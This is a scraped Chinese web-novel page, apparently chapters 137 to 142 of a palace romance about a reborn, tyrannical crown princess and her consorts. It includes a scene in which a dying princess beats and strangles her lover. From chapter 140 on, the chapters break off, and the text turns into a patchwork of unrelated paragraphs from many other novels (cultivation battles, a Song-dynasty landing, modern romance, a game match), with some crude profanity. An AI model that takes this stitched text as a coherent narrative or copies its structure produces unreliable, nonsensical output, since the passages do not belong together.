所以,他才没有问过君羲的意见,便将身上的逆鳞拔了下来,通过鲛人族特殊的制作手法制成了一条手链。
除了他的逆鳞,这条手链还用到了他亲自制成的鲛丝,他情动时哭下的蓝色眼泪。
溟汐可是特意挑选了三十颗大小、色泽度都统一的蓝色珍珠!
为此,他可是在君羲悄悄睡着后,冒着被女人打屁股的风险——去翻了女人琉璃罐里珍藏的蓝色眼泪。
小鱼偷了好几个晚上才将蓝色珍珠凑齐呢。
溟汐身上的逆鳞还在隐隐作痛,鲛人拔逆鳞,其疼痛是特级疼痛,不亚于鲛人断尾之痛。
没有逆鳞的鲛人,甚至不能称为的鲛人,会被族人视作叛徒。
而且,寿命会减半。
但,溟汐心里却很开心,虽然只有短短百年,但是能和君羲一起共白首,此生无憾,这也是他的心之所向。
他就是要坚定地告诉君羲,无论他们之间隔着的阻碍是什么,他都会拼尽全力、想方设法地搬开,谁也不能阻止他爱君羲!
这一世,九个夫郎中,君羲同溟汐相处的时间最长,在她心里,溟汐的地位也是最重的。
此刻,君羲似乎察觉到了溟汐的想法,心想:
这小鱼是不是背着她做了什么坏事?怎么都不敢正视自己的眼睛?
君羲抱着狐疑的态度,双手接过溟汐献上的华美木匣。
一打开,绚丽的光泽便让人眼前一闪,紧接着,便是眼前一亮。
本来还在紧张自己所献礼物能否入太女殿下眼的百官此刻彻底死心了,比不上,根本比不上。
顾景行和溟汐珠玉在前,她们的都是破烂……
百官也被溟汐的礼物闪到了眼睛,不约而同地看向君羲手中的木盒——
好华美的木盒!
太女殿下的鲛人侧夫当真是心灵手巧!
心中感叹着,他们便看到太女殿下从那木盒中拿出一条制作精美华丽的手链,手链整体呈蓝色色泽。
其中有一枚被打磨成星形的鳞片在烛火的映照下,既有昏黄的暖色泽也有冰蓝色的冷色调,看上去美轮美奂,不似人间之物。
君羲从那星形鳞片上感受到了熟悉的气息,之前,她从地牢中带走溟汐时,水池中,见到过许多这个东西。
只是,那些鳞片都黯淡无光,不如手上的这一枚坚硬华丽。
君羲心中隐隐有了猜想。
鲛人族,每一个鲛人都有逆鳞,如同龙之逆鳞,触之必亡。
溟汐真是胡来!
她狠狠瞪了溟汐一眼,男人心虚地挪开视线。
他若是告诉君羲,羲羲肯定不会允许他拔逆鳞伤害自己的身体……
所以他才悄悄地做,现在先斩后奏,君羲就算要怪罪他也舍不得惩罚自己。
顶多……
顶多是在床上惩罚他,这种惩罚对他而言,求之不得呢。
君羲心中除了愤怒,其实更多的是欣喜。
她知道这样的欣喜对鲛人来说,其实是一种伤害。
但君羲本就不是什么正常人,她心里对爱的渴望,其实是偏执的、疯狂的。
这种爱和溟汐心底的爱很相近,只是君羲在克制,不希望她的夫郎爱自己是以伤害他们自身为代价。
溟汐为了君羲,先是挨了一剑受重伤渡鲛珠助她脱离困境,现在又拔了逆鳞……
鲛人族中所有禁忌的事项,他都为君羲做了个遍。
这让君羲怎么不为这条鱼心动?
君羲情不自禁地走下台,站到溟汐面前,仰头吻上鲛人的下巴。
在溟汐诧异的眼神中,微微一笑。
烛火下,月色中,君羲的容颜美得不可方物。
这章没有结束,请点击下一页继续阅读!“阿羲,我很喜欢你送的这份礼物,但是……惩罚不会少。”
周围的文武百官羡慕麻了。
太女殿下人优秀也就算了!还有两位这么优秀的夫郎!
有寻来天外陨铁打造剑鞘的正夫,也有拔下逆鳞制成手链的侧夫。
最关键的是,他们都是一等一的俊美。
她们怎么就找不到这么好看的夫郎呢?
难不成……
得像太女殿下一样,强取豪夺才是真?
她们想多了,若不是君羲后来改变态度,想必顾景行是不会对君羲转变态度的。
倒是某鱼,就算被君羲打进地牢,当时见到女人的第一眼,心中阴暗的想法也只是将君羲拖进深海里,关进小黑屋,套上锁链,永远和他在一起。
溟汐对君羲的爱是偏执、疯狂、阴郁、扭曲的,但无可争议的是——
这样的爱也是永恒、唯一的。
就是这样的爱才能够触动君羲这样以自身利益为中心的凉薄女人。
太好了!妻主真的喜欢他送的礼物,溟汐心中一喜。
“羲羲,你喜欢就好。”
女人刚刚垫脚在他下巴上的吻一触即分,溟汐抬手抚上下巴,有一些意犹未尽。
但此刻大庭广众下,烛火明亮,不是继续的好地方。
溟汐只得压抑血液中沸腾的热血,挑衅地看了一眼上方的顾景行。
却得到上方顾景行包容、如沐春风的笑意。
顿时更气了!
怎么?显得他就是一条小气的醋鱼呗?
气死他了!
好在妻主很喜欢他的礼物,当场便戴在了手腕上。
溟汐就像尾巴翘起来的小鱼,君羲没忍住牵住他的手走到上首,顾景行和溟汐一左一右坐在君羲身侧。
文武百官也没有不识趣地站出来指责君羲罔顾礼法……
太女殿下如今心情好,他们还是别去触霉头了。
虽然太女殿下现在变好了,但,保不齐因为他们做些什么,又变回以前的了……
只要太女殿下能够做一个明君,在美色上荒唐些也没什么,他们大力支持!
然后是文武百官的献礼,和以往没什么不同。
君羲兴致恹恹,让闭月羞花将这些礼物清点成册,全部送进库房。
她便带着顾景行和溟汐回去了,只是……
新的一轮争端又开始了!
顾景行和溟汐一左一右拉着君羲的手,异口同声问道:
“阿羲/羲羲,今晚去谁房中?”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第138章 他真是被妻主带坏了
今夜去谁的房中?
这是一个好问题,君羲面对这样的好问题,最好的解决办法就是——
谁的房中都不去。
无论君羲说去顾景行房中,亦或是说去溟汐房中,都会伤了另外一个男人的心。
君羲身为一国储君,不能言而无信。
今日下午,她答应顾景行,让他穿衣服给她看。
所以,顾景行房中,君羲是一定会去的,但是这话却不能在某条醋鱼面前说出来,否则溟汐还不得酸死,变成酸鱼了?
“阿汐,阿景,孤现在要事需要处理,今夜庆功宴,你们也乏了,先行回房休息吧,不必等孤。”
“孤现在要去见一见孤的好妹妹,明月公主”
这一次漾州之行,君羲的“好妹妹”可没少在其中下暗手。
这次回朝,君羲特意将沈长卿也一同带了回来。
沈氏一族因沈思文之故,几乎全灭,只剩下沈长卿不是因为君羲好心想留他一命,而是君羲不想让沈长卿死得太痛快。
君羲想让沈长卿受尽折磨,精神崩溃……最后再送他去死。
如此,方能报前世君羲身死之仇。
上一世,害君羲惨死的沈长卿和君明月都被君羲收拾了。
一个被迫嫁给安王那个阴郁扭曲的瘸子,被安王折磨得人不人,鬼不鬼,精神状态糟糕。
另一个,则是被羞花下了“蚕食”奇毒,想必如今没多少日子可活。
说不准,君明月正躺在床上虚弱地咳血,行将就木。
一想到自己的两个最大仇人落得如今的下场,君羲心中就解气。
想到这儿,她已经迫不及待想将沈长卿送给君明月,看她们两个恶人互相折磨了。
沈长卿不是说君明月高洁如月,他独爱君明月这一分风华吗?
君羲倒要看看,若是她将沈长卿赐给君明月做正夫,她们二人还会不会像上一世一般冠冕堂皇地说着恩爱,无论如何也要在一起?
沈长卿可是已经先行嫁给了安王,君明月当真不会嫌弃沈长卿吗?
君羲合理怀疑,上一世,极有可能是因为她的原因,君明月才会勾搭沈长卿。
毕竟,沈长卿的确是能够背刺她的一把好刀,君明月当然不会放过这么好的棋子不用。
所以才伪装出一副清高淡泊的模样,也只有沈长清这种没有脑子的男人才会相信。
君羲没有给顾景行和溟汐反映的时间,话说完就准备去欣赏仇人的惨状。
她临走之际,却是飞快地用内力在孤景行耳边说了些话。
“阿景,今夜在房中等孤,无论多晚,孤都会过来。”
“如果你睡着了的话……”
后面的话君羲没有说完,但顾景行却想到君羲以前的流氓行径,莫名地知道君羲的未尽是什么……
若是他睡着了,君羲也不会放过他,会亲自给他换上衣服。
比起君羲给他换,顾景行当然是想自己换,就算他们有过几次肌肤之亲,顾景行还是不习惯坦诚相见。
同时,他心中清楚,君羲之所以用这样的方法同他说,肯定是碍于溟汐在场,不忍心让鲛人伤心。
但他也没有戳破的想法,只是微不可见地朝君羲点了下头,示意自己知道了。
好在溟汐全副心神都放在君羲身上,并没有注意到顾景行的动作。
他只是痴痴地望着君羲的背影,目送她离开。
这样也好,据溟汐所知,如今东宫中只剩他和顾景行两个夫郎可以陪君羲。
王权不弃和慕夜已经去了岚州,所以只要君羲不去顾景行房中,那去哪里都可以。
溟汐知道自己这样的行为是妒夫行为,之前的一月,他霸占了君羲太多时间。
君羲回到东宫后,按照大凰王朝历代惯例,储君回来后的前三晚,是要宿在正夫房中的。
溟汐纵使知道,却无法说服自己不去争。
情爱就是这样,纵使知道不该,还是控制不住去争抢、占有。
直到夜色中再也看不到君羲的身影,溟汐才收回自己的视线,他朝着顾景行行礼。
“正君,那侍身便回海月阁了,正君自便。”
早在君羲带着溟汐回朝之前,顾景行便因为君羲之事在母亲顾青颖面前哭了一场。
那一场酣畅淋漓的情绪发泄过后,顾景行已经找准了自己的位置。
他喜欢君熙,但他更要牢牢地把控着君羲正夫的位置,只要他不死,那这些个莺莺燕燕都是侍!
正夫就要有正夫的风范,顾景行温和道:
“溟侧夫既已累了,那便先行回房休息吧。”
顾景行这么大度对溟汐说话,向来不带任何嫉妒情绪的。
溟汐反而不自在了,就像他抢了顾景行本该有的妻主陪伴一般。
“那正君呢?”
溟汐的询问让顾景行心里一跳,莫不是溟汐听到了妻主给他的内力传音?
他仔细看溟汐的神色,除了淡淡的疑惑没有旁地,看来是不知道……
顾景行有些心虚,摆了摆手。
“本夫今晚喝多了酒,身体有些乏了,本夫回霁月殿休息。”
这章没有结束,请点击下一页继续阅读!霁月殿是君羲的寝宫,若是可以,溟汐也想赖在霁月殿。
但溟汐知道,这样的想法是不可取的,只有正君才有资格留宿在霁月殿。
其实在很早之前,以君羲多疑的性格,绝不会允许任何人留宿霁月殿。
霁月殿是君羲的私人领地,哪怕是君羲的宠夫,也没资格留宿。
上一世,受宠如沈长卿,仗着情蛊的控制,也没有留宿过霁月殿。
每次承宠过后,无论沈长卿怎么死皮赖脸地求君羲留宿,君羲也只是好言将他送回寝殿。
顾景行话中透露的意思已经足够让溟汐心头嫉妒得发疯了。
但现在不像在漾州,溟汐的身份有优势。
溟汐是君羲的已婚夫郎,正正当当的!
东方炽、东方凌、纳兰轻尘在如何争,也比不过他名正言顺!
毕竟只是未婚夫,没有正式嫁入东宫。
如今在顾景行面前,溟汐感受到了东方炽他们那时的感受。
他没有立场去嫉妒,顾景行是君羲的结发夫郎,唯一的正夫,生同衾死同穴的那一种……
君羲离开之后,溟汐就没有继续争抢的意思,再加上顾景行的性格,也不可能和溟汐当众吵起来。
二人各自回了寝殿,相安无事。
霁月殿,顾景行坐在床榻上,有些坐立不安。
他不由得想,君羲到底给他准备了什么衣服?下午君羲开口要求时,他没想那么多,现在想起来,女人那略带暧昧的口吻……
显然不是什么正经衣服。
顾景行有些想逃,他看了看霁月殿的大门,从这殿门出去后,躲在丞相府中,是个可行的办法,君羲应当不至于追到丞相府中。
君羲对母亲还是敬重的。
这样的想法只是在顾景行脑海中过了一圈,没有付诸行动。
顾景行也很想君羲。
整整一个月又五天没见,君羲很有可能在不久后就要动身去岚州,解决雪灾之事。
到时,顾景行需坐镇东宫,二人又得分隔两地,许多日子不能相见。
少则一月,多则半年。
顾景行舍不得将君羲往房外推。
他在等君羲回朝之时,为了能更好地侍奉君羲,去了东宫的藏书阁,找了一些小册子。
小册子上说,适当的衣服在房中能够引起妻主的兴趣,给夫妻二人的感情增添一些润滑剂,能让夫妻二人的感情更加和谐甜蜜……
想到这儿,顾景行心中羞涩不已。
他真是被妻主给带坏了!
怎么想到晚上,他心中还有些暗暗期待呢?
“阿羲,都怪你。”
庆功宴上,顾景行没有喝太多的酒,吃得也少,但身上的青莲香染上了烟火气,都淡了。
顾景行希望君羲回来后,同他在一起的这一晚,能够让君羲日后回想起来都是美好的。
所以,他得先收拾一下自己。
“来人,本夫要沐浴。”
顾景行的汤浴是特制的,每每沐浴完后,男人身上便会散发着清幽绵长的青莲香。
正是君羲喜欢的,每每在房中做那事时,女人总是喜欢埋在他的颈侧,闻他身上的青莲香,在他耳旁打趣。
“阿景这么香,莫不是前世是一朵青莲?”
殊不知,顾景行心中也爱极了君羲身上的清冷雪香。
每当情动之时,清冷雪香和幽淡青莲香融合在一起,顾景行都有一种二人水乳交融的幸福感。
顾景行心想,他真是完蛋了,整颗心都沦陷在君羲的身上。
如今想起他们的第一次,顾景行心中竟不觉羞辱,还有些回味无穷……
“公子,汤浴准备好了。”
这么快?
顾景行意识到时间过得很快,难道是因为他一直在脑海中回忆同君羲发生的所有,所以时间才过得这么快?
顾景行将脑海中的君羲赶出去,回应了一句。
“你们下去吧,本夫自己沐浴。”
顾景行沐浴时并不喜男侍在旁服侍,男侍们都知道顾景行的习惯,训练有素地退出房门,将房门关好,守在门外,以防顾景行有事吩咐。
顾景行进去后,便看到一个双人的大木桶,里面有一些粉色的莲花花瓣。
屏风将浴桶围住,热气袅袅。
衣架上放着贴身裘衣。
顾景行将手搭在腰带处,解开腰带,挂在一旁的衣架上,然后是外袍……
繁琐的衣裳被一层一层地脱下,挂在衣架上,顾景行怕弄脏了这件隆重华美的正君服饰。
脱得只剩裘衣后,便将衣架放到了屏风外面,避免衣服被水汽沾湿。
然后才解开裘衣,露出里面宽肩窄腰的好身材。
腹肌块块分明,两条流畅的人鱼线没入裘裤中。
君羲不止一次说过喜欢他身上的肌肉,顾景行越想耳根越是发热。
他怎么又想起君羲了!
都怪君羲以前老是对他说这些事,导致他现在满脑子都是那事!
真是坏死了!
君羲表示很无辜,她人都不在这儿,怎么还能怪罪到她头上呢?
“阿羲,景行在房中等你……早些回来吧。”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第139章 孤给你准备了一份大礼
明月殿,烛火通明。
君明月脸色发白的半靠在床上,她能感觉到自己体内的生机正在流失。
她现在连起床走两步都特别费力,一想到这些都是君羲做的,她心里便恨不得将君羲千刀万剐,尸骨剁碎了喂狗!
君明月脸色阴翳,在烛火的映照下,宛如一个索命的恶鬼。
柳如风却是半分不觉,他心中只有恐惧,若是君明月死了,那他的孩儿该怎么办?他以后的荣华富贵又该怎么办?
柳如风端着一碗黑乎乎的药,一个劲儿地抹眼泪。
“明月,你一定要好起来,我们的孩儿还未出生,她不能出生便没有母亲啊。”
君明月已是将死之人,脾气糟糕。
她不耐烦地冷声呵斥柳如风。
“闭嘴。”
这个无能的男人就知道哭,真是晦气,自己还没死呢,哭什么哭?
她一把夺过柳如风喂药的药碗,劈头盖脸砸在柳如风额头上,血液混着黑乎乎的滚烫药汁顺着他的脸颊往下流淌。
柳如风痛呼一声,想哭却又在君明月愈发阴翳恐怖的眼神下不敢哭。
太医院中都是君羲的人,君明月不敢用。
君明月派心腹从民间带回来的大夫,诊断她的身体药石无医。
只能用一些虎狼之药吊命,既是虎狼之药,那这药的气味便很难闻,如今混合着血液的腥气更是让君明月心情躁郁。
“给本殿滚!滚出去!”
柳如风见状,知道君明月这是又发疯病了。
他不想在这种时候触君明月的霉头,继续留在这儿,等待他的将是一场凌辱虐打。
君明月中毒之后,柳如风就成了她发泄情绪的破布娃娃,鞭打、火烫、刀割……
柳如风越是痛苦地叫喊,君明月心中就越是畅快。
就是得这样,这样才对,凭什么只有她一个人痛苦?
君明月神色越发癫狂,爆起抓住欲离开的柳如风,瘦削的脸颊上,一双大眼睛突兀地瞪大,红丝遍布。
她神情狰狞,掐住柳如风的脖子,陷入了自己无端的臆想中。
“看到本殿如此狼狈,你是不是很开心?说啊!”
“你肯定很开心!柳如风,你就是个水性杨花的贱男人!巴不得本殿死了,你好找下家吧?”
柳如风被君明月掐得脖子通红,脸色已经开始发紫,他无力地拍打君明月的手臂,艰难为自己辩驳。
“唔……我、没有。”
君明月一点就炸,她现在听不得半点反驳。
“还敢顶嘴?骗本殿的人都该死!”
君明月掐柳如风的手愈发用力,看到男人被掐得翻白眼,脸色痛苦,她心中才痛快了些。
柳如风觉得自己快死了,肺就像要爆炸了一样,疯狂渴望新鲜的空气进入肺部。
但压在他身上掐他脖子的女人却像一个疯狂索命的恶鬼,死死掐着他脖子不放。
求生的本能让柳如风不断拍打、抓挠着君明月的手臂。
谁知,更是惹怒了君明月,君明月死死掐着柳如风,无论男人如何挣扎都不松手,哪怕手背已经被柳如风抓出血痕,也绝不松手。
或许是临死之前的反扑,柳如风艰难地从喉咙里挤出几个字。
“明、月……放开……放……”
然后,便真的睁开了君明月的束缚,滚到地上,大口大口的吸着气。
“嗬!嗬!……”
君明月下床还要掐他,柳如风顾不得狼狈,手脚并用地往殿门处爬。
太可怕了!
君明月是越来越疯了!
他不能死在这儿,就算以后没有荣华富贵,他也要保住自己的小命。
柳如风可不想陪君明月这个疯子下地狱,就在他快要爬出殿门时……
“二位好兴致,柳贵夫、明月公主?你们可真是给了孤一个大大的惊喜呢。”
君羲一脚踹开大门,同狼狈趴在地上的柳如风以及疯子一样追过来的君明月对上视线。
嘴上是这么说,心中却没有半分意外。
毕竟,如今的宫中,都是她的人。
柳如风和君明月之间的破事儿,她早就知道得一清二楚。
柳如风和君明月联合给老皇帝君澜下药之后,君澜大部分时间都处在半梦半醒的状态,自然没有那么多精力去管她们。
加上君羲不在宫中,顾景行又故意放纵,她们二人现在是愈发肆无忌惮地勾搭在一块儿。
明月殿中的侍女们都知道,君明月同当朝贵夫有首尾。
她们心中其实也害怕,害怕君羲知道此事后,将君明月处决时,连带着她们这些跟前伺候的人也落不得好下场。
君明月如今性格愈发怪癖,每次吐血都会发脾气,在房中疯子一样地乱砸乱摔,见人就打。
那红着眼睛,边咳血边发疯的样子,让她们心中发怵。
以往在君明月跟前服侍,是她们争着抢着想去做的好差事,如今却是个个避如蛇蝎,唯恐君明月将目光放在自己身上。
所以,她们都投诚了,现在替君羲监视君明月。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!给君澜下毒是柳如风亲手所为,这事做得隐蔽,只有君明月和柳如风知晓。
君羲还不知道君澜如今的状态,已经是快要驾崩了。
“太女殿下!”
柳如风见到君羲,第一时间竟然不是害怕,而是欣喜。
“太女殿下救命!明月公主疯了,她要杀我,救命。”
君明月最恨的人是君羲,最怕的人也是君羲。
柳如风清楚,只要君羲在这儿,无论是君明月想发疯杀君羲还是畏惧君羲不敢动作,他的小命都算保住了。
柳如风眼神发亮,顶着一脸的血和药往君羲的方向爬得飞快,刚要去抱君羲的腿——
“啊!”
君羲毫不客气,一脚踹飞。
柳如风窝在墙角,生死不知,惨叫一声后就闭上了眼。
君明月见到君羲,眼神里的恶意和杀意毫不遮掩,反正她们之间已经是撕破了脸皮。
彼此都知道对方想杀了自己。
君明月只是遗憾,君羲回来得太早了。
“呵呵,皇长姐真是……咳、咳……”
君明月咳了血,猩红的血液将她的唇瓣染红,像一只择人而噬的恶鬼。
她毫不在意地用手背抹去,刚刚的一番动作让她有些气喘。
“真是一如既往的威风呢,可惜,你还不知道吧,君澜那个老不死的,就快死了!”
君羲心中惊疑,君明月杀君澜?
真是一如既往的胆子够大,想必若是她再晚几天,君澜就已经驾崩。
君明月会在宫中掀起一场哗变!
幸好她赶着时间回来了,纵使君羲不将君明月放在眼中,但能少一些无端的厮杀就少一些。
君羲还没发现,自从有了溟汐他们后,她的心肠不知不觉变得有些软了。
若是以她刚重生那段时间的性子,可不会顾及这么多。
为她征战厮杀,是她们的荣耀,她自会厚待她们的家人。
“你疯了?”
君明月听君羲这么问她,哈哈大笑起来,血液不断从口中溢出,这一幕显得有些诡异的凄凉。
“哈哈哈哈……本殿是疯了!早在皇长姐登上储君之位时,就嫉妒得发疯了!”
“本殿疯得恨不能杀了你,做梦都想!可,偏偏还要同皇长姐上演姐妹情深的戏码,天知道,本殿心中有多么的恶心!”
君明月命不久矣,可能也就是三五天的事情,她也懒得装好妹妹。
君明月拖着骨瘦如柴的身躯,不管不顾地朝着君羲的方向冲过来。
反正她也快死了,过过嘴瘾也挺好,之前她就是压抑自己太久了,才把自己变成了现在这副疯魔的样子!
如今君明月都快死了,不想在顾及那么多。
以往不敢做的,不敢说的,她现在全都要做一遍!
最好是能拔剑一剑杀了她,说不定还会背上一个杀妹的罪名!
君羲光辉的一生有个难以抹去的污点,君明月就算死,也能含笑九泉了。
“去死啊,君羲,你为什么不去死?”
君羲本以为自己心中只会有快意,但现在,她看到曾经一手带大的雪团子,变得如今这副疯子模样,心里又有一丝难受。
“明月,孤自认为待你不薄,你为什么要这么做?”
她们是嫡亲的姐妹不是吗?
君明月却是笑了,笑得眼泪和血齐下,笑得喘不上气了还在疯狂地笑。
“待本殿不薄?哈哈哈,真是可笑!”
她神情一变,止住笑意,猩红眼死死盯着君羲。
“皇长姐,你所谓的不薄就是将我囚在皇宫,做一个无权无势的皇家公主?”
“本殿也是嫡公主,大凰太女之位你坐得,本殿凭什么不能做得?”
君羲这下知道了,是因为权势。
“别把话说得这么冠冕堂皇,无权无势?”
君羲嘴角恰到好处挂上一抹讥讽。
“这么多年来,你仗着孤给你的宠爱收了多少官员的礼?在玉京城中横行霸道,你以为孤什么都不知?”
“若是这样都叫无权无势,那朝中的一品官员都可以去哭坟了。”
君明月疯狂的神色一僵,的确,君羲给了她一人之下的权势,可是,权势这个东西,迷人心智……
一旦尝过权势的滋味,有野心的人只会想要更多。
“成王败寇,本殿杀不了你,没什么好说的,滚!”
君明月不过是做做样子,若是真想死,就该说出算计慕夜声和王权不弃,导致慕夜声被雪崩掩埋、生死不知的事情。
可见,她只是想发泄一番。
就算只剩三五天能活着,君明月还是想活着,说不准就能有转机呢?
若是真死了,那便是一丝机会也没有了。
她垂下眼睑,气喘地想关上房门,不想见到仇人得意的嘴脸。
心腹告知君明月,君羲今晚举办庆功宴。
君羲今夜来这儿,不就是为了看她笑话吗?
她偏偏不如君羲的意。
“皇长姐,本殿要休息了,劳烦放手。”
君明月想关门,却关不上。
一看,原来是君羲用内力挡住了,君明月中毒后,手脚无力,根本敌不过君羲的力气。
君羲无视君明月的话,今夜,她是一定要让君明月不痛快的。
“别急啊,明月公主,孤给你准备了一份大礼,先接收一下。”
……
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第一卷 第140章 采野草的心虚感!
“另外,孤身为你的皇长姐,好心提醒你一句,明月公主只能自称本公主,没资格自称本殿。”
君羲毫不留情往君明月心口插刀。
“叮”的一声脆响,易水寒的阴阳宗令牌掉在地上,不知怎么刚刚拿钱袋的时候,竟然把令牌带了出来。
像个醉卧街头的酒鬼、流浪汉,没人会想到他是个响当当的三品猎魔师。这条路到现在只见到奥梅奇华特尔的马车从这通过,所以他可以放心地酣睡。
一次机缘巧合的机会下,让他遇到了一个垂死的老妖。那老妖不想死,在看出辉耀星君的心思后,便拉着辉耀星君说,只要他能找个地方将自己藏起来,便收他为徒,将自己毕生所学全都传授给他。
朱清平选择在这个时候开口,明显是不怀好意。但从这一点也能看出,他的炼丹技术相当好,说话的同时,手上炼丹的事情一点也不耽误。
刘宇和古斯丽,当时就感觉后背凉嗖嗖的,如果它们当时一起攻击,估计现在自己要死多时了。
好像在对傅安安说着再平常不过的话一样,但他的话语越是简单,越是这样波澜无温,就越是让傅安安担心。
惊喜的是他到底是真的将自己当成亲妹妹了吧,不然怎么可能还记得要教自己骑马?
她才不是怕了,只是……这里并不是皇宫,她们要对自己使什么伎俩的话,她根本就不好应对。所以才想着多一事不如少一事的心态而躲一下她们。不想她们这么不依不挠。
听了苏青衣那带有一丝颤抖的声音,阳明远慢慢的转过头,看向寒山院的方向。视线中易水寒神色严肃,面带痛苦,俊朗的脸颊上流满了痛苦的汗水,此时的易水寒,正在忍受着一场非人的折磨。
夜晚,原本已经很久没有做梦的吴悠再一次梦到了奇怪的东西。醒来之后,南山已经带着萧湛去了人间做新手任务,于是吴悠连忙打了个电话给他。
“相公,你搞什么?”陆清漪走上前,瞧见眼前的画不知道是该哭还是该笑,我指着你在我父亲面前扬眉吐气,你倒给我使绊子,玩性怎么这么大呢?陆清漪的心思路程仿佛已经绕过了整个南通城。
三人边吃喝边聊天,两三个钟头后才结束饭局,之后崔大正被母亲拉着去里屋说了一会儿话,钟南和陈克朋两人在外面等人,只等了五分钟,崔大正就出来了,拉着他们一起回了军营。
他这才深刻的意识到,一棵树长歪了就是歪了,是不可能重新纠正过来的,除非砍了重新种。
荒野平原,位于亚德瑞帝国,安赫瑞尔山脉北方。如同它的名字一般,这个平原十分荒凉,原住民野蛮至极。
郑春之就朝着余青看去,感激的说道,“多谢夫人,定不会让您失望。” 君子一诺重千金,郑春之显然而也是在对余青承诺。
那厢,郡主宫装未换,急匆匆赶到宫门,递了牌子进了宫,走到前面的乾清殿、月华殿、龙宝殿、穿过长长的青石路,来到一个两旁栽着青松的宫殿。
“王公子,你就安心养伤,不会有事。出了事,有晚荣呢。”陈老实虽是安慰王少华,却陈晚荣充满着信心。陈晚荣如此出息的儿子,哪个做爹的能没有信心呢?言来无比自豪。
第一卷 第141章 孤说可以就可以
君羲扫视霁月殿内,没有发现顾景行的身影。
难不成是心中害羞,跑了?
君羲咬了咬腮帮子,就算真跑了,跑到丞相府去,她也非得夜闯丞相府,探探香闺不可!
哗啦……
水声响起,随着水声响起的还有男人惊慌的阻止声。
第三批渡海主将是郭振。登陆的人数将视中都的战况和收集的船只数量而定。如果一但战局有利于宋军。就将以运送大型攻城器俱为主。到岸之后。宋军就可以立刻对中都发动进攻了。
珠宝店经理的话刚落,高通便迫不及待的拿出自己随身所带的钱包,打开,从里面抽出六张信用卡,两张银行卡,每抽一张,他脸上的笑容就浓一分。
林扬嘴角溢出一丝血迹,只是血水才流出嘴角,便又重新渗入肌fu。微有些涣散的眼神立刻恢复莹润如玉,身子一闪,体外紫光闪耀。霎时间,对方灵识便失去了林扬下落。
在不到一个星期内,到过星缘酒吧的名人就超过了二十人次,其中有当红歌星,影星,还有好莱坞的著名导演,其中大部分都是陈志明邀请去的,比如先前的泰坦尼克号的演员,和导演,差不多都来过。
杨炎踏上了陆地,看着远处纷纷向琼州方向逃窜的摩尼教士军,知道平定摩尼教叛乱的战争,终于到了最后的时刻了。想起这时应该还在琼州的赵草和钟欣环,不知这一次会是在一个什么样的情况下见面。
“都是你挑唆的,你把我孙子还给我!”她去抢男孩,被张予桐推到一边去了。
他一走,寒惊雷和赵迅电,何寻踪都神色紧张地看着李鸿基。等着他的命令。
因为皇上紧绷着脸,一言不发,所有的大臣都低头垂手站着。连大气都不敢出。一个个穿着画着鸟兽的衣服,神情呆板之极。
也不知昨天晚上有没有闹笑话,妈咧个逼,真没用,才喝掉三瓶xo,就醉成这样。
“冥王三怒!”江东以雷魂力催动最顶级拳术,这还是他第一次将这两大杀手锏进行融合,万千阴兵如同千万雷帝降世,魂力形成的巨大长枪变成了一股有着开天辟地之威的黑色雷霆。
甚至菲特暗自在心里模拟,若是自己处于这些绝境,是否能够像王跃一样找到突破点,绝处逢生?
“三毛,不要伤心。”赵振宇见她神情黯然,知道她想起了刘渐,安慰道。
“不过将三界中的生物都变成没有感情的木偶,最终消亡。好像于我们也没有多大帮助一样呢?”血魔摸着下巴。
沐璟略微扫了一眼敌我的补刀数以及等级,然后上线之后便开始了推线,对面的纳尔根本不敢出塔一步,直接缩在塔的旁边补着刀。
来到祭坛时,江东长舒一口气,还好没有发生什么意外,九幽花在乙木丹的滋养下已经长大了很多,接近成熟,江东直接挖出放在了蝙蝠戒中。看了看祭坛中还有十几株已经冒出新芽的,金驴馋的直流口水,伸蹄子就要扒拉。
上车之后,陈大河抹了把汗,和茜茜相视一笑,然后油门一踩赶往罗家。
什么东西,大早上的就吵吵闹闹。秦波天揉了揉鼻子本想继续睡,可谁知道耳边又传来了另一把椅子倒地的声音。这帮兔崽子翻了个天了!打扫一个外屋的卫生也能生出这么多的事端来,到底有没有将他这个头目放在眼里。
第一卷 第142章 阿景,孤还不困
顾景行背靠在浴桶壁上,温润的眼染上了绯色,骨节分明的大手靠在唇边,有些想要触碰又不敢触碰。
“阿景?”
男人像是被亲呆了,瞪着一双水润的茶色眼瞳呆呆望着君羲。
“啊?什么?”
可她又怎么会知道这期间在乔南身上发生了怎样天翻地覆的变化。
也不知道是从哪个路口开始的,郁闻州的车就没跟上来了,这有点不像郁闻州的睚眦必报的风格。
周馨之坐在沙发上,看着蒋泽递给自己的醒酒汤,她一句话没说的接过。
沈织梨拿着筷子的手一顿,抬眸看了看萧翎又看了看萧老爷,面露为难。
天气已经回暖了,梁非城穿着烟灰色的西装,比穿纯黑色的西装时要更显得儒雅一些,可身上清冷的气质却没减少半分,反倒让人觉得更加难以接近。
“我问你话呢!”南笙见曲年定定地看着自己,双眼充血的样子看起来有些可怕,不自觉地退后几步。
姑娘想明白这一点,浑身力气都卸了,终于不再抵抗,任他肆无忌惮。
看着从里面走出来的一众人,席明逸发了疯的似的朝着那个坐着轮椅的人冲了过去。
有句话叫做年轻气盛,谁都无法保证知道真相的楚风会不会一时冲动,引发无法挽回的后果。
看着对方的模样,顾晓柒倒是觉得,这样不说话吃东西的杜兰月,还算可爱。
我没有心情问清楚当时发生了什么,她主动过来跟我解释。其实现在谁对谁错都不是最重要的,我也没有指责她的意思,因为我懂南北的任性和心机。
“得了吧!浩然气可不是你这种人可以学会的!”萧玉直接嘲讽了一句,之后也是开心的挥动起了双臂,尽情感受劲风带来的阻力。
唐庚已然触碰到了九境的门槛,而他则是跨入八境不久而已,两人年纪差的不多,但是这个实力当真是差的有点太多了,甚至都能称之为天壤之别了。
“你要做什么?”贵妃神情惊恐,还没有来得及说完,她的胸口就受到了沉重一击。
从今天去敬茶的情况来看,事情并没有她所想的那么复杂,让她也稍稍放心了一些。
萧落尘顿时噎住了,支支吾吾说不出话来,然后气的一拂袖,直接离开。
来的人可都不是什么善茬,不是七境巅峰就是八境巅峰,虽然另外几方的人数没有北境这么多,但是这个实力可能要比北境的扎实很多。
